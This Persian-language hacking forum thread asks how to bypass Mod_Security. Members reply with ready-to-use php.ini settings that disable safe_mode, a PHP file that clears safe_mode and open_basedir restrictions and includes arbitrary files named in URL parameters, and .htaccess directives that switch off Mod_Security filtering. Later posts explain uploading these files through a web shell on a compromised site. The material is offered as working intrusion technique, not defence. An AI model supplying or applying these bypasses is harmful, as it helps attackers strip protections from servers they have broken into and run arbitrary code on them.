دور زدن Mod_Security

[faryad_delaram]

سلام به همه دوستان عزیز

 

هر کسی در مورد Mod_Security هر چی میدونه و در مورد چگونه دور زدن Mod_Security اطلاعات داره روی این پست بزاره ممنونم

[k.shadow]

درود

تا جایی که من اطلاع دارم بایپس مد امنیتی همون بایپس  safemode  هست

که روش های گونا گونی هم داره (با توجه به ورژن php )

مثلا 1:

از طریق php.ini

یک فایل با این نام بسازید و داخلش این کد رو بزارید :

safe_mode = Off

یا

-

short_open_tag = On
log_errors = On
log_errors_max_len = 1024
ignore_repeated_errors = On
register_globals = Off
magic_quotes_runtime = Off
magic_quotes_gpc = On
allow_url_fopen = on
AddHandler application/x-httpd-php4 .php
display_errors = Off
disable_functions = by J.ALL_EdiT0r
safe_mode = Off

 از ini.php:

یک فایل با این نام بسازید و داخلش اینو بنویسید

 <?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
?> 

و htaccess.

یک فایل با این نام بسازید و داخلش اینو بنویسید

<Files *.php> 
ForceType application/x-httpd-php4 
</Files> 
ahm tas: <ifModule mod_security.c> 
    SecFilterEngine Off 
    SecFilterScanPOST Off 
</IfModule>  

برای php 5

htaccess فکر نکنم جواب بده بهترین روش دوتای باالا هست

و اگر نشد دیگه برید سراغ سیمیلینک

این کد ها که براتون قرار دادم اکثر محدودیت های دیگه مثل display function رو نیز خاموش میکنه

پیروز باشید.....

[faryad_delaram]

درود

تا جایی که من اطلاع دارم بایپس مد امنیتی همون بایپس  safemode  هست

که روش های گونا گونی هم داره (با توجه به ورژن php )

مثلا 1:

از طریق php.ini

یک فایل با این نام بسازید و داخلش این کد رو بزارید :

safe_mode = Off

یا

-

short_open_tag = On
log_errors = On
log_errors_max_len = 1024
ignore_repeated_errors = On
register_globals = Off
magic_quotes_runtime = Off
magic_quotes_gpc = On
allow_url_fopen = on
AddHandler application/x-httpd-php4 .php
display_errors = Off
disable_functions = by J.ALL_EdiT0r
safe_mode = Off

 از ini.php:

یک فایل با این نام بسازید و داخلش اینو بنویسید

 <?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
?> 

و htaccess.

یک فایل با این نام بسازید و داخلش اینو بنویسید

<Files *.php> 
ForceType application/x-httpd-php4 
</Files> 
ahm tas: <ifModule mod_security.c> 
    SecFilterEngine Off 
    SecFilterScanPOST Off 
</IfModule>  

برای php 5

htaccess فکر نکنم جواب بده بهترین روش دوتای باالا هست

و اگر نشد دیگه برید سراغ سیمیلینک

این کد ها که براتون قرار دادم اکثر محدودیت های دیگه مثل display function رو نیز خاموش میکنه

پیروز باشید.....

اول اینکه از این دوست عزیز که واقعا پیگیر مسائل هستند و از اعضائ فعال هستند تشکر میکنم ولی قرار شد اطلاعات کامل باشه و چه بهتر اینکه یک نمونه هم داشته باشیم حالا وقتشه دوست خوبمون توضیح بده این فایلها رو بعد از ساختن چکار کنیم من که فکر نمیکنم اگه توی فلش مموری نگهداریم کار کنه :D

یه جور توضیح بده آماتورهایی مثل من هم بفهمند - خیلی لطف داری

[deamon]

اول اینکه از این دوست عزیز که واقعا پیگیر مسائل هستند و از اعضائ فعال هستند تشکر میکنم ولی قرار شد اطلاعات کامل باشه و چه بهتر اینکه یک نمونه هم داشته باشیم حالا وقتشه دوست خوبمون توضیح بده این فایلها رو بعد از ساختن چکار کنیم من که فکر نمیکنم اگه توی فلش مموری نگهداریم کار کنه :D

یه جور توضیح بده آماتورهایی مثل من هم بفهمند - خیلی لطف داری

 

فایل های ذکر شده رو ایجاد و سیو کنید و تو دایرکتوری اصلی سایت (هاست) اپلود کنید 

[k.shadow]

اول اینکه از این دوست عزیز که واقعا پیگیر مسائل هستند و از اعضائ فعال هستند تشکر میکنم ولی قرار شد اطلاعات کامل باشه و چه بهتر اینکه یک نمونه هم داشته باشیم حالا وقتشه دوست خوبمون توضیح بده این فایلها رو بعد از ساختن چکار کنیم من که فکر نمیکنم اگه توی فلش مموری نگهداریم کار کنه :D

یه جور توضیح بده آماتورهایی مثل من هم بفهمند - خیلی لطف داری

درود

ممنون از تشکرتون

ببینید این فایل هارو که ایجاد کردید توسط شلر یا ... توی مسیر جاری مثلا: /home/user/site/publichtml

اپلود کنید

بعد یک دور شلرتون رو دوباره اپلود کنید و شلر قبلی رو پاک کنید (این مرحله شاید نیازی نباشه همون رفرش کنید خو به رو بعضی جا ها واقعا نیازه )بعدخواهید دید safemode خاموش شده

رو اکثریت سرور ها و با php های ورژن مختلف جواب میده ولی صد درصد نیست

عذر خواهی میکنم اگر بد توضیح دادم